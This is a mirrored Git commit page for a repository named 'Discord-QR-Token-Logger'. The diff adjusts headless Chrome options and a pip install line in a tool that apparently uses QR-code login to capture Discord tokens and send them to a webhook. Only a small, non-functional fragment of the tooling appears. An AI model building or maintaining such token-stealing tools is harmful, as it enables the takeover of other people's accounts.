mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-06-14 14:55:17 +00:00
Merge pull request #31 from 9P9/30-attributeerror-cant-set-attribute-headless
30 attributeerror can't set attribute headless
This commit is contained in:
commit
290df9eb59
@ -42,9 +42,12 @@ def get_discord_info(tk, link_int):
|
||||
def main(webhook_url) -> None:
|
||||
Write.Print("\n\n[!] Generating Qr-Code...", Colors.red_to_purple)
|
||||
opts = webdriver.ChromeOptions()
|
||||
try:
|
||||
opts.headless = True
|
||||
except:
|
||||
opts.add_argument('--headless')
|
||||
opts.add_experimental_option("detach", True)
|
||||
opts.add_experimental_option('excludeSwitches', ['enable-logging'])
|
||||
opts.headless = True
|
||||
opts.add_argument('--log-level 3')
|
||||
from webdriver_manager.chrome import ChromeDriverManager # Importing the module here because it has conflict with pystyle.
|
||||
os.environ['WDM_LOG_LEVEL'] = '0'
|
||||
|
@ -1 +1 @@
|
||||
pip install beautifulsoup4 lxml pillow requests selenium discord_webhook pystray pystyle webdriver_manager
|
||||
pip install beautifulsoup4 lxml pillow requests selenium discord_webhook pystray pystyle webdriver_manager --upgrade
|
||||
|
Loading…
x
Reference in New Issue
Block a user